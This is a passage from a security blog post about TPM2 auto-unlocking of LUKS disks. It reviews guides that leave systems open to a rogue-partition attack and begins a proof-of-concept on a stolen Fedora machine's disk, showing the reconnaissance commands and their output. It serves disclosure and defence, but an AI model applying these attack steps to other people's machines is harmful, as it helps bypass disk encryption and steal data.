&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#many-broken-guides" aria-label="Anchor link for: many-broken-guides"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Many broken guides&lt;/h3&gt;
&lt;p&gt;There are loads of guides that describe in more detail how to setup TPM2 based
disk unlocking, and while the concept is always the same, you will certainly
find one adjusted to your favorite distribution. Here's a list of guides that
I found online, sorted by date:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel="external" href="https://jnsgr.uk/2024/04/nixos-secure-boot-tpm-fde/"&gt;Secure Boot &amp;amp; TPM-backed Full Disk Encryption on NixOS&lt;/a&gt; (2024/04, NixOS, systemd-cryptenroll, EDIT: updated 💙)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://forum.manjaro.org/t/howto-using-secure-boot-and-tpm2-to-unlock-luks-partition-on-boot/101626"&gt;[HowTo] Using Secure Boot and TPM2 to unlock LUKS partition on boot&lt;/a&gt; (2024/01, Manjaro, systemd-cryptenroll)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://community.frame.work/t/guide-setup-tpm2-autodecrypt/39005"&gt;[GUIDE] Setup TPM2 Autodecrypt&lt;/a&gt; (2023/10, Unspecified, systemd-cryptenroll, Misuse of PCR 15)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://blog.fernvenue.com/archives/debian-with-luks-and-tpm-auto-decryption/"&gt;Debian with LUKS and TPM auto decryption&lt;/a&gt; (2023/09, Debian, systemd-cryptenroll)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://wiki.gentoo.org/wiki/Trusted_Platform_Module/LUKS"&gt;Gentoo Wiki - Trusted Platform Module/LUKS&lt;/a&gt; (2023/05, Gentoo, clevis)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://221b.uk/safe-automatic-decryption-luks-partition-tpm2"&gt;Safe automatic decryption of LUKS partition using TPM2&lt;/a&gt; (2023/01, Fedora, clevis, &lt;a rel="external" href="https://fedoramagazine.org/automatically-decrypt-your-disk-using-tpm2/"&gt;fedoramagazine&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://blastrock.github.io/fde-tpm-sb.html"&gt;The ultimate guide to Full Disk Encryption with TPM and Secure Boot&lt;/a&gt; (2022/04, Debian, tpm2-initramfs-tool)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://gist.github.com/jdoss/777e8b52c8d88eb87467935769c98a95"&gt;Decrypt LUKS volumes with a TPM on Fedora Linux&lt;/a&gt; (2022/03, Fedora, systemd-cryptenroll)&lt;/li&gt;
&lt;li&gt;&lt;a rel="external" href="https://wiki.archlinux.org/title/User:Krin/Secure_Boot,_full_disk_encryption,_and_TPM2_unlocking_install"&gt;ArchWiki/User:Krin/Secure Boot, full disk encryption, and TPM2 unlocking install&lt;/a&gt; (2021/09, Arch Linux, systemd-cryptenroll)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unfortunately, I did not find any guide that addresses this, so most user
setups are probably suffering from this issue. Though in all fairness, whether
this is an issue to you obviously depends on your threat model. If you are
using the TPM just to unlock your home server which nobody else has physical
access to, then maybe this is a non-issue to you. But if you use this to
protect the data on your laptop against theft, then chances are you want to set
a TPM pin or implement PCR 15 verification as explained above.&lt;/p&gt;
&lt;p&gt;Notably, I found that the ArchWiki entry of &lt;a rel="external" href="https://wiki.archlinux.org/title/Systemd-cryptenroll"&gt;systemd-cryptenroll&lt;/a&gt;
acknowledges this issue in a warning near the end of the article:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Only binding to PCRs measured pre-boot (PCRs 0-7) opens a vulnerability from
rogue operating systems. A rogue partition with metadata copied from the real
root filesystem (such as partition UUID) can mimic the original partition.
Then, initramfs will attempt to mount the rogue partition as the root
filesystem (decryption failure will fall back to password entry), leaving
pre-boot PCRs unchanged. The rogue root filesystem with files controlled by
an attacker is still able to receive the decryption key for the real root
partition. See Brave New Trusted Boot World and BitLocker documentation for
additional information.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And while this is correct, just using any of the PCRs 8-23 doesn't
automatically protect your data either. The initrd still has to ensure that the
respective PCR is changed before executing the system's &lt;code&gt;init&lt;/code&gt; binary, which
is not done by default.&lt;/p&gt;
&lt;h2 id="proof-of-concept-exploitation-of-a-fedora-machine"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#proof-of-concept-exploitation-of-a-fedora-machine" aria-label="Anchor link for: proof-of-concept-exploitation-of-a-fedora-machine"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Proof-of-concept exploitation of a Fedora machine&lt;/h2&gt;
&lt;p&gt;Now, let's have a look at a real system which we will setup in a similar way to
how anyone else would have done it. I've picked one of the Fedora articles
above, but you can expect this to work for all of the other distributions, too. In
summary, my setup included the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install Fedora 41, I chose an encrypted root with ext4 on LUKS&lt;/li&gt;
&lt;li&gt;Enable secure boot in the BIOS (and install the Microsoft keys since Fedora
is signed with those keys)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An interesting thing we notice right away is that the Fedora bootloader is
signed using the Microsoft keys. We've already briefly talked about this in the
beginning, this means it cannot sign the initrd at all. Instead, they have a
signed shim that is executed after the bootloader which will calculate hashes
of the kernel and initrd and extend PCR 9 with those values. Therefore, it is
critical that we now include PCR 9 in our selection when enrolling the key to
the TPM, otherwise the initrd could just be modified.&lt;/p&gt;
&lt;p&gt;This approach has the advantage that the user doesn't have to deal with custom
secure boot keys, but the downside is that every kernel or initrd update will
affect the value in PCR 9, thus requiring us to re-enroll the key after
rebooting on each system update. Here is a snapshot of my PCRs when I enrolled
the key into the TPM. This is also the state that we need to reach later to succeed.&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# systemd-analyze pcrs&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;NR&lt;/span&gt;&lt;span style="color: #98C379;"&gt; NAME SHA256&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 0&lt;/span&gt;&lt;span style="color: #98C379;"&gt; platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 2&lt;/span&gt;&lt;span style="color: #98C379;"&gt; external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 3&lt;/span&gt;&lt;span style="color: #98C379;"&gt; external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 4&lt;/span&gt;&lt;span style="color: #98C379;"&gt; boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 5&lt;/span&gt;&lt;span style="color: #98C379;"&gt; boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 6&lt;/span&gt;&lt;span style="color: #98C379;"&gt; host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 7&lt;/span&gt;&lt;span style="color: #98C379;"&gt; secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 8&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 9&lt;/span&gt;&lt;span style="color: #98C379;"&gt; kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;10&lt;/span&gt;&lt;span style="color: #98C379;"&gt; ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;11&lt;/span&gt;&lt;span style="color: #98C379;"&gt; kernel-boot&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;12&lt;/span&gt;&lt;span style="color: #98C379;"&gt; kernel-config&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; sysexts&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;14&lt;/span&gt;&lt;span style="color: #98C379;"&gt; shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;15&lt;/span&gt;&lt;span style="color: #98C379;"&gt; system-identity&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;16&lt;/span&gt;&lt;span style="color: #98C379;"&gt; debug&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;17&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;18&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;19&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;20&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;21&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;22&lt;/span&gt;&lt;span style="color: #98C379;"&gt; - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;23&lt;/span&gt;&lt;span style="color: #98C379;"&gt; application-support&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 0000000000000000000000000000000000000000000000000000000000000000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="inspecting-the-system"&gt;&lt;span class="group"&gt;
&lt;span class="relative"&gt;
&lt;a class="select-none absolute pl-6 pr-2 end-0 top-1/2 -translate-y-1/2 invisible hover:visible group-hover:visible" style="font-size: 70%" href="#inspecting-the-system" aria-label="Anchor link for: inspecting-the-system"&gt;🔗&lt;/a&gt;
&lt;/span&gt;
&lt;!--
This might be the worst thing I've ever done. By omitting this closing tag on purpose,
we force the browser fix that mistake by inserting a matching closing tag _after_
the heading text. This allows us to construct a group around the text which
we would normally not be able to do in this template. Well, now cannot not know it anymore.
&lt;/span&gt;
--&gt;
Inspecting the system&lt;/h4&gt;
&lt;p&gt;Now, let's pretend we don't know anything about the system and that we just
obtained physical access to the machine, which was powered-off.&lt;/p&gt;
&lt;p&gt;We start by taking the main disk out and putting it into our machine. You
may also be able to boot a Fedora or Debian live image, if the owner has not
wiped the Microsoft keys from their BIOS in favor of their own. Once booted, we
start investigating the disk layout and partitions:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# blkid&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/dev/nvme0n1p1:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; LABEL_FATBOOT=&amp;quot;EFI&amp;quot; LABEL=&amp;quot;EFI&amp;quot; UUID=&amp;quot;E2AA-BB8B&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTLABEL=&amp;quot;EFI System Partition&amp;quot; PARTUUID=&amp;quot;b9cd5e99-00ec-45e8-be33-72809ae30602&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/dev/nvme0n1p2:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; LABEL=&amp;quot;boot&amp;quot; UUID=&amp;quot;d0a1796a-5c1e-446f-8b70-2910d094d195&amp;quot; BLOCK_SIZE=&amp;quot;4096&amp;quot; TYPE=&amp;quot;ext4&amp;quot; PARTUUID=&amp;quot;e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;/dev/nvme0n1p3:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; UUID=&amp;quot;779328d5-00ca-4ade-be44-6daa549642ed&amp;quot; TYPE=&amp;quot;crypto_LUKS&amp;quot; PARTUUID=&amp;quot;4e73c89f-3840-458a-ada6-0f5349ab36e1&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We take a quick peek at the encrypted partition, which is our main target:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;LUKS&lt;/span&gt;&lt;span style="color: #98C379;"&gt; header information&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Version:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Epoch:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 9&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Metadata&lt;/span&gt;&lt;span style="color: #98C379;"&gt; area:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16384&lt;/span&gt;&lt;span&gt; [bytes]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Keyslots&lt;/span&gt;&lt;span style="color: #98C379;"&gt; area:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16744448&lt;/span&gt;&lt;span&gt; [bytes]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;UUID:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 779328d5-00ca-4ade-be44-6daa549642ed&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;Tokens:&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; 0:&lt;/span&gt;&lt;span style="color: #98C379;"&gt; clevis&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt; Keyslot:&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #7F848E;font-style: italic;"&gt;# [...]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can already see that the system owner has used &lt;code&gt;clevis&lt;/code&gt; to configure the
automated unlocking. What we want to find for now is the initrd and kernel
command line, so some GRUB or systemd-boot configuration file. Since Fedora uses
pre-signed images, the EFI partition will only contain the loader and shim,
which shouldn't contain any information about the actual system. But the boot
partition &lt;code&gt;/dev/nvme0n1p2&lt;/code&gt; looks promising, so let's mount it and see what we
find:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# ls -l /mnt/boot&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;total&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 222500&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;dr-xr-xr-x.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 6&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 4096&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:09 ./&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;dr-xr-xr-x.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 19&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 4096&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:06 ../&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 277997&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Oct&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 20&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 02:00 config-6.11.4-301.fc41.x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;drwx------.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 3&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 4096&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1 1970&lt;/span&gt;&lt;span style="color: #98C379;"&gt; efi/&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;drwx------.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 3&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 4096&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:10 grub2/&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-------.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 139254374&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-------.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 45514433&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 14&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 00:54 initramfs-6.11.4-301.fc41.x86_64.img&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;drwxr-xr-x.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 3&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 4096&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:06 loader/&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;drwx------.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 2&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16384&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:05 lost+found/&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 182584&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:09 symvers-6.11.4-301.fc41.x86_64.xz&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 9968458&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Oct&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 20&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 02:00 System.map-6.11.4-301.fc41.x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rwxr-xr-x.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16296296&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e&lt;/span&gt;&lt;span style="color: #E5C07B;"&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rwxr-xr-x.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 16296296&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Oct&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 20&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 02:00 vmlinuz-6.11.4-301.fc41.x86_64&lt;/span&gt;&lt;span style="color: #E5C07B;"&gt;*&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 161&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Oct&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 20&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Great! There are the kernel and initrd images plus a &lt;code&gt;loader/&lt;/code&gt; directory containing some GRUB entry configurations.
We will take a look at those configuration files first:&lt;/p&gt;
&lt;pre class="giallo" style="color: #ABB2BF; background-color: #282C34;"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# ls -l /mnt/boot/loader/entries&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 445&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span style="color: #61AFEF;"&gt;-rw-r--r--.&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 1&lt;/span&gt;&lt;span style="color: #98C379;"&gt; root root&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 369&lt;/span&gt;&lt;span style="color: #98C379;"&gt; Jan&lt;/span&gt;&lt;span style="color: #D19A66;"&gt; 13&lt;/span&gt;&lt;span style="color: #98C379;"&gt; 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class="giallo-l"&gt;&lt;span&gt;[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf&lt;/span&gt;&lt;/span&gt;
